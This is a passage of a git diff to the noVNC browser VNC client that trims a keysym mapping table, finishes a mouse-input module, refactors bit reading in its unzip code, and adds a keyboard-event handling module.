- 0x10ED : 0x10010ed,
- 0x10EE : 0x10010ee,
- 0x10EF : 0x10010ef,
- 0x10F0 : 0x10010f0,
- 0x10F1 : 0x10010f1,
- 0x10F2 : 0x10010f2,
- 0x10F3 : 0x10010f3,
- 0x10F4 : 0x10010f4,
- 0x10F5 : 0x10010f5,
- 0x10F6 : 0x10010f6,
- 0x1E8A : 0x1001e8a,
- 0x012C : 0x100012c,
- 0x01B5 : 0x10001b5,
- 0x01E6 : 0x10001e6,
- 0x01D2 : 0x10001d1,
- 0x019F : 0x100019f,
- 0x1E8B : 0x1001e8b,
- 0x012D : 0x100012d,
- 0x01B6 : 0x10001b6,
- 0x01E7 : 0x10001e7,
- 0x01D2 : 0x10001d2,
- 0x0275 : 0x1000275,
- 0x018F : 0x100018f,
- 0x0259 : 0x1000259,
- 0x1E36 : 0x1001e36,
- 0x1E37 : 0x1001e37,
- 0x1EA0 : 0x1001ea0,
- 0x1EA1 : 0x1001ea1,
- 0x1EA2 : 0x1001ea2,
- 0x1EA3 : 0x1001ea3,
- 0x1EA4 : 0x1001ea4,
- 0x1EA5 : 0x1001ea5,
- 0x1EA6 : 0x1001ea6,
- 0x1EA7 : 0x1001ea7,
- 0x1EA8 : 0x1001ea8,
- 0x1EA9 : 0x1001ea9,
- 0x1EAA : 0x1001eaa,
- 0x1EAB : 0x1001eab,
- 0x1EAC : 0x1001eac,
- 0x1EAD : 0x1001ead,
- 0x1EAE : 0x1001eae,
- 0x1EAF : 0x1001eaf,
- 0x1EB0 : 0x1001eb0,
- 0x1EB1 : 0x1001eb1,
- 0x1EB2 : 0x1001eb2,
- 0x1EB3 : 0x1001eb3,
- 0x1EB4 : 0x1001eb4,
- 0x1EB5 : 0x1001eb5,
- 0x1EB6 : 0x1001eb6,
- 0x1EB7 : 0x1001eb7,
- 0x1EB8 : 0x1001eb8,
- 0x1EB9 : 0x1001eb9,
- 0x1EBA : 0x1001eba,
- 0x1EBB : 0x1001ebb,
- 0x1EBC : 0x1001ebc,
- 0x1EBD : 0x1001ebd,
- 0x1EBE : 0x1001ebe,
- 0x1EBF : 0x1001ebf,
- 0x1EC0 : 0x1001ec0,
- 0x1EC1 : 0x1001ec1,
- 0x1EC2 : 0x1001ec2,
- 0x1EC3 : 0x1001ec3,
- 0x1EC4 : 0x1001ec4,
- 0x1EC5 : 0x1001ec5,
- 0x1EC6 : 0x1001ec6,
- 0x1EC7 : 0x1001ec7,
- 0x1EC8 : 0x1001ec8,
- 0x1EC9 : 0x1001ec9,
- 0x1ECA : 0x1001eca,
- 0x1ECB : 0x1001ecb,
- 0x1ECC : 0x1001ecc,
- 0x1ECD : 0x1001ecd,
- 0x1ECE : 0x1001ece,
- 0x1ECF : 0x1001ecf,
- 0x1ED0 : 0x1001ed0,
- 0x1ED1 : 0x1001ed1,
- 0x1ED2 : 0x1001ed2,
- 0x1ED3 : 0x1001ed3,
- 0x1ED4 : 0x1001ed4,
- 0x1ED5 : 0x1001ed5,
- 0x1ED6 : 0x1001ed6,
- 0x1ED7 : 0x1001ed7,
- 0x1ED8 : 0x1001ed8,
- 0x1ED9 : 0x1001ed9,
- 0x1EDA : 0x1001eda,
- 0x1EDB : 0x1001edb,
- 0x1EDC : 0x1001edc,
- 0x1EDD : 0x1001edd,
- 0x1EDE : 0x1001ede,
- 0x1EDF : 0x1001edf,
- 0x1EE0 : 0x1001ee0,
- 0x1EE1 : 0x1001ee1,
- 0x1EE2 : 0x1001ee2,
- 0x1EE3 : 0x1001ee3,
- 0x1EE4 : 0x1001ee4,
- 0x1EE5 : 0x1001ee5,
- 0x1EE6 : 0x1001ee6,
- 0x1EE7 : 0x1001ee7,
- 0x1EE8 : 0x1001ee8,
- 0x1EE9 : 0x1001ee9,
- 0x1EEA : 0x1001eea,
- 0x1EEB : 0x1001eeb,
- 0x1EEC : 0x1001eec,
- 0x1EED : 0x1001eed,
- 0x1EEE : 0x1001eee,
- 0x1EEF : 0x1001eef,
- 0x1EF0 : 0x1001ef0,
- 0x1EF1 : 0x1001ef1,
- 0x1EF4 : 0x1001ef4,
- 0x1EF5 : 0x1001ef5,
- 0x1EF6 : 0x1001ef6,
- 0x1EF7 : 0x1001ef7,
- 0x1EF8 : 0x1001ef8,
- 0x1EF9 : 0x1001ef9,
- 0x01A0 : 0x10001a0,
- 0x01A1 : 0x10001a1,
- 0x01AF : 0x10001af,
- 0x01B0 : 0x10001b0,
- 0x20A0 : 0x10020a0,
- 0x20A1 : 0x10020a1,
- 0x20A2 : 0x10020a2,
- 0x20A3 : 0x10020a3,
- 0x20A4 : 0x10020a4,
- 0x20A5 : 0x10020a5,
- 0x20A6 : 0x10020a6,
- 0x20A7 : 0x10020a7,
- 0x20A8 : 0x10020a8,
- 0x20A9 : 0x10020a9,
- 0x20AA : 0x10020aa,
- 0x20AB : 0x10020ab,
- 0x20AC : 0x20ac,
- 0x2070 : 0x1002070,
- 0x2074 : 0x1002074,
- 0x2075 : 0x1002075,
- 0x2076 : 0x1002076,
- 0x2077 : 0x1002077,
- 0x2078 : 0x1002078,
- 0x2079 : 0x1002079,
- 0x2080 : 0x1002080,
- 0x2081 : 0x1002081,
- 0x2082 : 0x1002082,
- 0x2083 : 0x1002083,
- 0x2084 : 0x1002084,
- 0x2085 : 0x1002085,
- 0x2086 : 0x1002086,
- 0x2087 : 0x1002087,
- 0x2088 : 0x1002088,
- 0x2089 : 0x1002089,
- 0x2202 : 0x1002202,
- 0x2205 : 0x1002205,
- 0x2208 : 0x1002208,
- 0x2209 : 0x1002209,
- 0x220B : 0x100220B,
- 0x221A : 0x100221A,
- 0x221B : 0x100221B,
- 0x221C : 0x100221C,
- 0x222C : 0x100222C,
- 0x222D : 0x100222D,
- 0x2235 : 0x1002235,
- 0x2245 : 0x1002248,
- 0x2247 : 0x1002247,
- 0x2262 : 0x1002262,
- 0x2263 : 0x1002263,
- 0x2800 : 0x1002800,
- 0x2801 : 0x1002801,
- 0x2802 : 0x1002802,
- 0x2803 : 0x1002803,
- 0x2804 : 0x1002804,
- 0x2805 : 0x1002805,
- 0x2806 : 0x1002806,
- 0x2807 : 0x1002807,
- 0x2808 : 0x1002808,
- 0x2809 : 0x1002809,
- 0x280a : 0x100280a,
- 0x280b : 0x100280b,
- 0x280c : 0x100280c,
- 0x280d : 0x100280d,
- 0x280e : 0x100280e,
- 0x280f : 0x100280f,
- 0x2810 : 0x1002810,
- 0x2811 : 0x1002811,
- 0x2812 : 0x1002812,
- 0x2813 : 0x1002813,
- 0x2814 : 0x1002814,
- 0x2815 : 0x1002815,
- 0x2816 : 0x1002816,
- 0x2817 : 0x1002817,
- 0x2818 : 0x1002818,
- 0x2819 : 0x1002819,
- 0x281a : 0x100281a,
- 0x281b : 0x100281b,
- 0x281c : 0x100281c,
- 0x281d : 0x100281d,
- 0x281e : 0x100281e,
- 0x281f : 0x100281f,
- 0x2820 : 0x1002820,
- 0x2821 : 0x1002821,
- 0x2822 : 0x1002822,
- 0x2823 : 0x1002823,
- 0x2824 : 0x1002824,
- 0x2825 : 0x1002825,
- 0x2826 : 0x1002826,
- 0x2827 : 0x1002827,
- 0x2828 : 0x1002828,
- 0x2829 : 0x1002829,
- 0x282a : 0x100282a,
- 0x282b : 0x100282b,
- 0x282c : 0x100282c,
- 0x282d : 0x100282d,
- 0x282e : 0x100282e,
- 0x282f : 0x100282f,
- 0x2830 : 0x1002830,
- 0x2831 : 0x1002831,
- 0x2832 : 0x1002832,
- 0x2833 : 0x1002833,
- 0x2834 : 0x1002834,
- 0x2835 : 0x1002835,
- 0x2836 : 0x1002836,
- 0x2837 : 0x1002837,
- 0x2838 : 0x1002838,
- 0x2839 : 0x1002839,
- 0x283a : 0x100283a,
- 0x283b : 0x100283b,
- 0x283c : 0x100283c,
- 0x283d : 0x100283d,
- 0x283e : 0x100283e,
- 0x283f : 0x100283f,
- 0x2840 : 0x1002840,
- 0x2841 : 0x1002841,
- 0x2842 : 0x1002842,
- 0x2843 : 0x1002843,
- 0x2844 : 0x1002844,
- 0x2845 : 0x1002845,
- 0x2846 : 0x1002846,
- 0x2847 : 0x1002847,
- 0x2848 : 0x1002848,
- 0x2849 : 0x1002849,
- 0x284a : 0x100284a,
- 0x284b : 0x100284b,
- 0x284c : 0x100284c,
- 0x284d : 0x100284d,
- 0x284e : 0x100284e,
- 0x284f : 0x100284f,
- 0x2850 : 0x1002850,
- 0x2851 : 0x1002851,
- 0x2852 : 0x1002852,
- 0x2853 : 0x1002853,
- 0x2854 : 0x1002854,
- 0x2855 : 0x1002855,
- 0x2856 : 0x1002856,
- 0x2857 : 0x1002857,
- 0x2858 : 0x1002858,
- 0x2859 : 0x1002859,
- 0x285a : 0x100285a,
- 0x285b : 0x100285b,
- 0x285c : 0x100285c,
- 0x285d : 0x100285d,
- 0x285e : 0x100285e,
- 0x285f : 0x100285f,
- 0x2860 : 0x1002860,
- 0x2861 : 0x1002861,
- 0x2862 : 0x1002862,
- 0x2863 : 0x1002863,
- 0x2864 : 0x1002864,
- 0x2865 : 0x1002865,
- 0x2866 : 0x1002866,
- 0x2867 : 0x1002867,
- 0x2868 : 0x1002868,
- 0x2869 : 0x1002869,
- 0x286a : 0x100286a,
- 0x286b : 0x100286b,
- 0x286c : 0x100286c,
- 0x286d : 0x100286d,
- 0x286e : 0x100286e,
- 0x286f : 0x100286f,
- 0x2870 : 0x1002870,
- 0x2871 : 0x1002871,
- 0x2872 : 0x1002872,
- 0x2873 : 0x1002873,
- 0x2874 : 0x1002874,
- 0x2875 : 0x1002875,
- 0x2876 : 0x1002876,
- 0x2877 : 0x1002877,
- 0x2878 : 0x1002878,
- 0x2879 : 0x1002879,
- 0x287a : 0x100287a,
- 0x287b : 0x100287b,
- 0x287c : 0x100287c,
- 0x287d : 0x100287d,
- 0x287e : 0x100287e,
- 0x287f : 0x100287f,
- 0x2880 : 0x1002880,
- 0x2881 : 0x1002881,
- 0x2882 : 0x1002882,
- 0x2883 : 0x1002883,
- 0x2884 : 0x1002884,
- 0x2885 : 0x1002885,
- 0x2886 : 0x1002886,
- 0x2887 : 0x1002887,
- 0x2888 : 0x1002888,
- 0x2889 : 0x1002889,
- 0x288a : 0x100288a,
- 0x288b : 0x100288b,
- 0x288c : 0x100288c,
- 0x288d : 0x100288d,
- 0x288e : 0x100288e,
- 0x288f : 0x100288f,
- 0x2890 : 0x1002890,
- 0x2891 : 0x1002891,
- 0x2892 : 0x1002892,
- 0x2893 : 0x1002893,
- 0x2894 : 0x1002894,
- 0x2895 : 0x1002895,
- 0x2896 : 0x1002896,
- 0x2897 : 0x1002897,
- 0x2898 : 0x1002898,
- 0x2899 : 0x1002899,
- 0x289a : 0x100289a,
- 0x289b : 0x100289b,
- 0x289c : 0x100289c,
- 0x289d : 0x100289d,
- 0x289e : 0x100289e,
- 0x289f : 0x100289f,
- 0x28a0 : 0x10028a0,
- 0x28a1 : 0x10028a1,
- 0x28a2 : 0x10028a2,
- 0x28a3 : 0x10028a3,
- 0x28a4 : 0x10028a4,
- 0x28a5 : 0x10028a5,
- 0x28a6 : 0x10028a6,
- 0x28a7 : 0x10028a7,
- 0x28a8 : 0x10028a8,
- 0x28a9 : 0x10028a9,
- 0x28aa : 0x10028aa,
- 0x28ab : 0x10028ab,
- 0x28ac : 0x10028ac,
- 0x28ad : 0x10028ad,
- 0x28ae : 0x10028ae,
- 0x28af : 0x10028af,
- 0x28b0 : 0x10028b0,
- 0x28b1 : 0x10028b1,
- 0x28b2 : 0x10028b2,
- 0x28b3 : 0x10028b3,
- 0x28b4 : 0x10028b4,
- 0x28b5 : 0x10028b5,
- 0x28b6 : 0x10028b6,
- 0x28b7 : 0x10028b7,
- 0x28b8 : 0x10028b8,
- 0x28b9 : 0x10028b9,
- 0x28ba : 0x10028ba,
- 0x28bb : 0x10028bb,
- 0x28bc : 0x10028bc,
- 0x28bd : 0x10028bd,
- 0x28be : 0x10028be,
- 0x28bf : 0x10028bf,
- 0x28c0 : 0x10028c0,
- 0x28c1 : 0x10028c1,
- 0x28c2 : 0x10028c2,
- 0x28c3 : 0x10028c3,
- 0x28c4 : 0x10028c4,
- 0x28c5 : 0x10028c5,
- 0x28c6 : 0x10028c6,
- 0x28c7 : 0x10028c7,
- 0x28c8 : 0x10028c8,
- 0x28c9 : 0x10028c9,
- 0x28ca : 0x10028ca,
- 0x28cb : 0x10028cb,
- 0x28cc : 0x10028cc,
- 0x28cd : 0x10028cd,
- 0x28ce : 0x10028ce,
- 0x28cf : 0x10028cf,
- 0x28d0 : 0x10028d0,
- 0x28d1 : 0x10028d1,
- 0x28d2 : 0x10028d2,
- 0x28d3 : 0x10028d3,
- 0x28d4 : 0x10028d4,
- 0x28d5 : 0x10028d5,
- 0x28d6 : 0x10028d6,
- 0x28d7 : 0x10028d7,
- 0x28d8 : 0x10028d8,
- 0x28d9 : 0x10028d9,
- 0x28da : 0x10028da,
- 0x28db : 0x10028db,
- 0x28dc : 0x10028dc,
- 0x28dd : 0x10028dd,
- 0x28de : 0x10028de,
- 0x28df : 0x10028df,
- 0x28e0 : 0x10028e0,
- 0x28e1 : 0x10028e1,
- 0x28e2 : 0x10028e2,
- 0x28e3 : 0x10028e3,
- 0x28e4 : 0x10028e4,
- 0x28e5 : 0x10028e5,
- 0x28e6 : 0x10028e6,
- 0x28e7 : 0x10028e7,
- 0x28e8 : 0x10028e8,
- 0x28e9 : 0x10028e9,
- 0x28ea : 0x10028ea,
- 0x28eb : 0x10028eb,
- 0x28ec : 0x10028ec,
- 0x28ed : 0x10028ed,
- 0x28ee : 0x10028ee,
- 0x28ef : 0x10028ef,
- 0x28f0 : 0x10028f0,
- 0x28f1 : 0x10028f1,
- 0x28f2 : 0x10028f2,
- 0x28f3 : 0x10028f3,
- 0x28f4 : 0x10028f4,
- 0x28f5 : 0x10028f5,
- 0x28f6 : 0x10028f6,
- 0x28f7 : 0x10028f7,
- 0x28f8 : 0x10028f8,
- 0x28f9 : 0x10028f9,
- 0x28fa : 0x10028fa,
- 0x28fb : 0x10028fb,
- 0x28fc : 0x10028fc,
- 0x28fd : 0x10028fd,
- 0x28fe : 0x10028fe,
- 0x28ff : 0x10028ff
-};
\ No newline at end of file
+ // Public methods
+ grab: function () {
+ var c = this._target;
+
+ if ('ontouchstart' in document.documentElement) {
+ Util.addEvent(c, 'touchstart', this._eventHandlers.mousedown);
+ Util.addEvent(window, 'touchend', this._eventHandlers.mouseup);
+ Util.addEvent(c, 'touchend', this._eventHandlers.mouseup);
+ Util.addEvent(c, 'touchmove', this._eventHandlers.mousemove);
+ } else {
+ Util.addEvent(c, 'mousedown', this._eventHandlers.mousedown);
+ Util.addEvent(window, 'mouseup', this._eventHandlers.mouseup);
+ Util.addEvent(c, 'mouseup', this._eventHandlers.mouseup);
+ Util.addEvent(c, 'mousemove', this._eventHandlers.mousemove);
+ Util.addEvent(c, (Util.Engine.gecko) ? 'DOMMouseScroll' : 'mousewheel',
+ this._eventHandlers.mousewheel);
+ }
+
+ /* Work around right and middle click browser behaviors */
+ Util.addEvent(document, 'click', this._eventHandlers.mousedisable);
+ Util.addEvent(document.body, 'contextmenu', this._eventHandlers.mousedisable);
+ },
+
+ ungrab: function () {
+ var c = this._target;
+
+ if ('ontouchstart' in document.documentElement) {
+ Util.removeEvent(c, 'touchstart', this._eventHandlers.mousedown);
+ Util.removeEvent(window, 'touchend', this._eventHandlers.mouseup);
+ Util.removeEvent(c, 'touchend', this._eventHandlers.mouseup);
+ Util.removeEvent(c, 'touchmove', this._eventHandlers.mousemove);
+ } else {
+ Util.removeEvent(c, 'mousedown', this._eventHandlers.mousedown);
+ Util.removeEvent(window, 'mouseup', this._eventHandlers.mouseup);
+ Util.removeEvent(c, 'mouseup', this._eventHandlers.mouseup);
+ Util.removeEvent(c, 'mousemove', this._eventHandlers.mousemove);
+ Util.removeEvent(c, (Util.Engine.gecko) ? 'DOMMouseScroll' : 'mousewheel',
+ this._eventHandlers.mousewheel);
+ }
+
+ /* Work around right and middle click browser behaviors */
+ Util.removeEvent(document, 'click', this._eventHandlers.mousedisable);
+ Util.removeEvent(document.body, 'contextmenu', this._eventHandlers.mousedisable);
+
+ }
+ };
+
+ Util.make_properties(Mouse, [
+ ['target', 'ro', 'dom'], // DOM element that captures mouse input
+ ['notify', 'ro', 'func'], // Function to call to notify whenever a mouse event is received
+ ['focused', 'rw', 'bool'], // Capture and send mouse clicks/movement
+ ['scale', 'rw', 'float'], // Viewport scale factor 0.0 - 1.0
+
+ ['onMouseButton', 'rw', 'func'], // Handler for mouse button click/release
+ ['onMouseMove', 'rw', 'func'], // Handler for mouse movement
+ ['touchButton', 'rw', 'int'] // Button mask (1, 2, 4) for touch devices (0 means ignore clicks)
+ ]);
+})();
diff --git a/webclients/novnc/include/jsunzip.js b/webclients/novnc/include/jsunzip.js
index f815218..8968f86 100755
--- a/webclients/novnc/include/jsunzip.js
+++ b/webclients/novnc/include/jsunzip.js
@@ -352,20 +352,28 @@
}
/* read a num bit value from a stream and add base */
+function read_bits_direct(source, bitcount, tag, idx, num)
+{
+ var val = 0;
+ while (bitcount < 24) {
+ tag = tag | (source[idx++] & 0xff) << bitcount;
+ bitcount += 8;
+ }
+ val = tag & (0xffff >> (16 - num));
+ tag >>= num;
+ bitcount -= num;
+ return [bitcount, tag, idx, val];
+}
this.read_bits = function(d, num, base)
{
if (!num)
return base;
- var val = 0;
- while (d.bitcount < 24) {
- d.tag = d.tag | (d.source[d.sourceIndex++] & 0xff) << d.bitcount;
- d.bitcount += 8;
- }
- val = d.tag & (0xffff >> (16 - num));
- d.tag >>= num;
- d.bitcount -= num;
- return val + base;
+ var ret = read_bits_direct(d.source, d.bitcount, d.tag, d.sourceIndex, num);
+ d.bitcount = ret[0];
+ d.tag = ret[1];
+ d.sourceIndex = ret[2];
+ return ret[3] + base;
}
/* given a data stream and a tree, decode a symbol */
diff --git a/webclients/novnc/include/keyboard.js b/webclients/novnc/include/keyboard.js
new file mode 100644
index 0000000..6044321
--- /dev/null
+++ b/webclients/novnc/include/keyboard.js
@@ -0,0 +1,543 @@
+var kbdUtil = (function() {
+ "use strict";
+
+ function substituteCodepoint(cp) {
+ // Any Unicode code points which do not have corresponding keysym entries
+ // can be swapped out for another code point by adding them to this table
+ var substitutions = {
+ // {S,s} with comma below -> {S,s} with cedilla
+ 0x218 : 0x15e,
+ 0x219 : 0x15f,
+ // {T,t} with comma below -> {T,t} with cedilla
+ 0x21a : 0x162,
+ 0x21b : 0x163
+ };
+
+ var sub = substitutions[cp];
+ return sub ? sub : cp;
+ }
+
+ function isMac() {
+ return navigator && !!(/mac/i).exec(navigator.platform);
+ }
+ function isWindows() {
+ return navigator && !!(/win/i).exec(navigator.platform);
+ }
+ function isLinux() {
+ return navigator && !!(/linux/i).exec(navigator.platform);
+ }
+
+ // Return true if a modifier which is not the specified char modifier (and is not shift) is down
+ function hasShortcutModifier(charModifier, currentModifiers) {
+ var mods = {};
+ for (var key in currentModifiers) {
+ if (parseInt(key) !== 0xffe1) {
+ mods[key] = currentModifiers[key];
+ }
+ }
+
+ var sum = 0;
+ for (var k in currentModifiers) {
+ if (mods[k]) {
+ ++sum;
+ }
+ }
+ if (hasCharModifier(charModifier, mods)) {
+ return sum > charModifier.length;
+ }
+ else {
+ return sum > 0;
+ }
+ }
+
+ // Return true if the specified char modifier is currently down
+ function hasCharModifier(charModifier, currentModifiers) {
+ if (charModifier.length === 0) { return false; }
+
+ for (var i = 0; i < charModifier.length; ++i) {
+ if (!currentModifiers[charModifier[i]]) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+ // Helper object tracking modifier key state
+ // and generates fake key events to compensate if it gets out of sync
+ function ModifierSync(charModifier) {
+ var ctrl = 0xffe3;
+ var alt = 0xffe9;
+ var altGr = 0xfe03;
+ var shift = 0xffe1;
+ var meta = 0xffe7;
+
+ if (!charModifier) {
+ if (isMac()) {
+ // on Mac, Option (AKA Alt) is used as a char modifier
+ charModifier = [alt];
+ }
+ else if (isWindows()) {
+ // on Windows, Ctrl+Alt is used as a char modifier
+ charModifier = [alt, ctrl];
+ }
+ else if (isLinux()) {
+ // on Linux, AltGr is used as a char modifier
+ charModifier = [altGr];
+ }
+ else {
+ charModifier = [];
+ }
+ }
+
+ var state = {};
+ state[ctrl] = false;
+ state[alt] = false;
+ state[altGr] = false;
+ state[shift] = false;
+ state[meta] = false;
+
+ function sync(evt, keysym) {
+ var result = [];
+ function syncKey(keysym) {
+ return {keysym: keysyms.lookup(keysym), type: state[keysym] ? 'keydown' : 'keyup'};
+ }
+
+ if (evt.ctrlKey !== undefined && evt.ctrlKey !== state[ctrl] && keysym !== ctrl) {
+ state[ctrl] = evt.ctrlKey;
+ result.push(syncKey(ctrl));
+ }
+ if (evt.altKey !== undefined && evt.altKey !== state[alt] && keysym !== alt) {
+ state[alt] = evt.altKey;
+ result.push(syncKey(alt));
+ }
+ if (evt.altGraphKey !== undefined && evt.altGraphKey !== state[altGr] && keysym !== altGr) {
+ state[altGr] = evt.altGraphKey;
+ result.push(syncKey(altGr));
+ }
+ if (evt.shiftKey !== undefined && evt.shiftKey !== state[shift] && keysym !== shift) {
+ state[shift] = evt.shiftKey;
+ result.push(syncKey(shift));
+ }
+ if (evt.metaKey !== undefined && evt.metaKey !== state[meta] && keysym !== meta) {
+ state[meta] = evt.metaKey;
+ result.push(syncKey(meta));
+ }
+ return result;
+ }
+ function syncKeyEvent(evt, down) {
+ var obj = getKeysym(evt);
+ var keysym = obj ? obj.keysym : null;
+
+ // first, apply the event itself, if relevant
+ if (keysym !== null && state[keysym] !== undefined) {
+ state[keysym] = down;
+ }
+ return sync(evt, keysym);
+ }
+
+ return {
+ // sync on the appropriate keyboard event
+ keydown: function(evt) { return syncKeyEvent(evt, true);},
+ keyup: function(evt) { return syncKeyEvent(evt, false);},
+ // Call this with a non-keyboard event (such as mouse events) to use its modifier state to synchronize anyway
+ syncAny: function(evt) { return sync(evt);},
+
+ // is a shortcut modifier down?
+ hasShortcutModifier: function() { return hasShortcutModifier(charModifier, state); },
+ // if a char modifier is down, return the keys it consists of, otherwise return null
+ activeCharModifier: function() { return hasCharModifier(charModifier, state) ? charModifier : null; }
+ };
+ }
+
+ // Get a key ID from a keyboard event
+ // May be a string or an integer depending on the available properties
+ function getKey(evt){
+ if ('keyCode' in evt && 'key' in evt) {
+ return evt.key + ':' + evt.keyCode;
+ }
+ else if ('keyCode' in evt) {
+ return evt.keyCode;
+ }
+ else {
+ return evt.key;
+ }
+ }
+
+ // Get the most reliable keysym value we can get from a key event
+ // if char/charCode is available, prefer those, otherwise fall back to key/keyCode/which
+ function getKeysym(evt){
+ var codepoint;
+ if (evt.char && evt.char.length === 1) {
+ codepoint = evt.char.charCodeAt();
+ }
+ else if (evt.charCode) {
+ codepoint = evt.charCode;
+ }
+ else if (evt.keyCode && evt.type === 'keypress') {
+ // IE10 stores the char code as keyCode, and has no other useful properties
+ codepoint = evt.keyCode;
+ }
+ if (codepoint) {
+ var res = keysyms.fromUnicode(substituteCodepoint(codepoint));
+ if (res) {
+ return res;
+ }
+ }
+ // we could check evt.key here.
+ // Legal values are defined in http://www.w3.org/TR/DOM-Level-3-Events/#key-values-list,
+ // so we "just" need to map them to keysym, but AFAIK this is only available in IE10, which also provides evt.key
+ // so we don't *need* it yet
+ if (evt.keyCode) {
+ return keysyms.lookup(keysymFromKeyCode(evt.keyCode, evt.shiftKey));
+ }
+ if (evt.which) {
+ return keysyms.lookup(keysymFromKeyCode(evt.which, evt.shiftKey));
+ }
+ return null;
+ }
+
+ // Given a keycode, try to predict which keysym it might be.
+ // If the keycode is unknown, null is returned.
+ function keysymFromKeyCode(keycode, shiftPressed) {
+ if (typeof(keycode) !== 'number') {
+ return null;
+ }
+ // won't be accurate for azerty
+ if (keycode >= 0x30 && keycode <= 0x39) {
+ return keycode; // digit
+ }
+ if (keycode >= 0x41 && keycode <= 0x5a) {
+ // remap to lowercase unless shift is down
+ return shiftPressed ? keycode : keycode + 32; // A-Z
+ }
+ if (keycode >= 0x60 && keycode <= 0x69) {
+ return 0xffb0 + (keycode - 0x60); // numpad 0-9
+ }
+
+ switch(keycode) {
+ case 0x20: return 0x20; // space
+ case 0x6a: return 0xffaa; // multiply
+ case 0x6b: return 0xffab; // add
+ case 0x6c: return 0xffac; // separator
+ case 0x6d: return 0xffad; // subtract
+ case 0x6e: return 0xffae; // decimal
+ case 0x6f: return 0xffaf; // divide
+ case 0xbb: return 0x2b; // +
+ case 0xbc: return 0x2c; // ,
+ case 0xbd: return 0x2d; // -
+ case 0xbe: return 0x2e; // .
+ }
+
+ return nonCharacterKey({keyCode: keycode});
+ }
+
+ // if the key is a known non-character key (any key which doesn't generate character data)
+ // return its keysym value. Otherwise return null
+ function nonCharacterKey(evt) {
+ // evt.key not implemented yet
+ if (!evt.keyCode) { return null; }
+ var keycode = evt.keyCode;
+
+ if (keycode >= 0x70 && keycode <= 0x87) {
+ return 0xffbe + keycode - 0x70; // F1-F24
+ }
+ switch (keycode) {
+
+ case 8 : return 0xFF08; // BACKSPACE
+ case 13 : return 0xFF0D; // ENTER
+
+ case 9 : return 0xFF09; // TAB
+
+ case 27 : return 0xFF1B; // ESCAPE
+ case 46 : return 0xFFFF; // DELETE
+
+ case 36 : return 0xFF50; // HOME
+ case 35 : return 0xFF57; // END
+ case 33 : return 0xFF55; // PAGE_UP
+ case 34 : return 0xFF56; // PAGE_DOWN
+ case 45 : return 0xFF63; // INSERT
+
+ case 37 : return 0xFF51; // LEFT
+ case 38 : return 0xFF52; // UP
+ case 39 : return 0xFF53; // RIGHT
+ case 40 : return 0xFF54; // DOWN
+ case 16 : return 0xFFE1; // SHIFT
+ case 17 : return 0xFFE3; // CONTROL
+ case 18 : return 0xFFE9; // Left ALT (Mac Option)
+
+ case 224 : return 0xFE07; // Meta
+ case 225 : return 0xFE03; // AltGr
+ case 91 : return 0xFFEC; // Super_L (Win Key)
+ case 92 : return 0xFFED; // Super_R (Win Key)
+ case 93 : return 0xFF67; // Menu (Win Menu), Mac Command
+ default: return null;
+ }
+ }
+ return {
+ hasShortcutModifier : hasShortcutModifier,
+ hasCharModifier : hasCharModifier,
+ ModifierSync : ModifierSync,
+ getKey : getKey,
+ getKeysym : getKeysym,
+ keysymFromKeyCode : keysymFromKeyCode,
+ nonCharacterKey : nonCharacterKey,
+ substituteCodepoint : substituteCodepoint
+ };
+})();
+
+// Takes a DOM keyboard event and:
+// - determines which keysym it represents
+// - determines a keyId identifying the key that was pressed (corresponding to the key/keyCode properties on the DOM event)
+// - synthesizes events to synchronize modifier key state between which modifiers are actually down, and which we thought were down
+// - marks each event with an 'escape' property if a modifier was down which should be "escaped"
+// - generates a "stall" event in cases where it might be necessary to wait and see if a keypress event follows a keydown
+// This information is collected into an object which is passed to the next() function. (one call per event)
+function KeyEventDecoder(modifierState, next) {
+ "use strict";
+ function sendAll(evts) {
+ for (var i = 0; i < evts.length; ++i) {
+ next(evts[i]);
+ }
+ }
+ function process(evt, type) {
+ var result = {type: type};
+ var keyId = kbdUtil.getKey(evt);
+ if (keyId) {
+ result.keyId = keyId;
+ }
+
+ var keysym = kbdUtil.getKeysym(evt);
+
+ var hasModifier = modifierState.hasShortcutModifier() || !!modifierState.activeCharModifier();
+ // Is this a case where we have to decide on the keysym right away, rather than waiting for the keypress?
+ // "special" keys like enter, tab or backspace don't send keypress events,
+ // and some browsers don't send keypresses at all if a modifier is down
+ if (keysym && (type !== 'keydown' || kbdUtil.nonCharacterKey(evt) || hasModifier)) {
+ result.keysym = keysym;
+ }
+
+ var isShift = evt.keyCode === 0x10 || evt.key === 'Shift';
+
+ // Should we prevent the browser from handling the event?
+ // Doing so on a keydown (in most browsers) prevents keypress from being generated
+ // so only do that if we have to.
+ var suppress = !isShift && (type !== 'keydown' || modifierState.hasShortcutModifier() || !!kbdUtil.nonCharacterKey(evt));
+
+ // If a char modifier is down on a keydown, we need to insert a stall,
+ // so VerifyCharModifier knows to wait and see if a keypress is comnig
+ var stall = type === 'keydown' && modifierState.activeCharModifier() && !kbdUtil.nonCharacterKey(evt);
+
+ // if a char modifier is pressed, get the keys it consists of (on Windows, AltGr is equivalent to Ctrl+Alt)
+ var active = modifierState.activeCharModifier();
+
+ // If we have a char modifier down, and we're able to determine a keysym reliably
+ // then (a) we know to treat the modifier as a char modifier,
+ // and (b) we'll have to "escape" the modifier to undo the modifier when sending the char.
+ if (active && keysym) {
+ var isCharModifier = false;
+ for (var i = 0; i < active.length; ++i) {
+ if (active[i] === keysym.keysym) {
+ isCharModifier = true;
+ }
+ }
+ if (type === 'keypress' && !isCharModifier) {
+ result.escape = modifierState.activeCharModifier();
+ }
+ }
+
+ if (stall) {
+ // insert a fake "stall" event
+ next({type: 'stall'});
+ }
+ next(result);
+
+ return suppress;
+ }
+
+ return {
+ keydown: function(evt) {
+ sendAll(modifierState.keydown(evt));
+ return process(evt, 'keydown');
+ },
+ keypress: function(evt) {
+ return process(evt, 'keypress');
+ },
+ keyup: function(evt) {
+ sendAll(modifierState.keyup(evt));
+ return process(evt, 'keyup');
+ },
+ syncModifiers: function(evt) {
+ sendAll(modifierState.syncAny(evt));
+ },
+ releaseAll: function() { next({type: 'releaseall'}); }
+ };
+}
+
+// Combines keydown and keypress events where necessary to handle char modifiers.
+// On some OS'es, a char modifier is sometimes used as a shortcut modifier.
+// For example, on Windows, AltGr is synonymous with Ctrl-Alt. On a Danish keyboard layout, AltGr-2 yields a @, but Ctrl-Alt-D does nothing
+// so when used with the '2' key, Ctrl-Alt counts as a char modifier (and should be escaped), but when used with 'D', it does not.
+// The only way we can distinguish these cases is to wait and see if a keypress event arrives
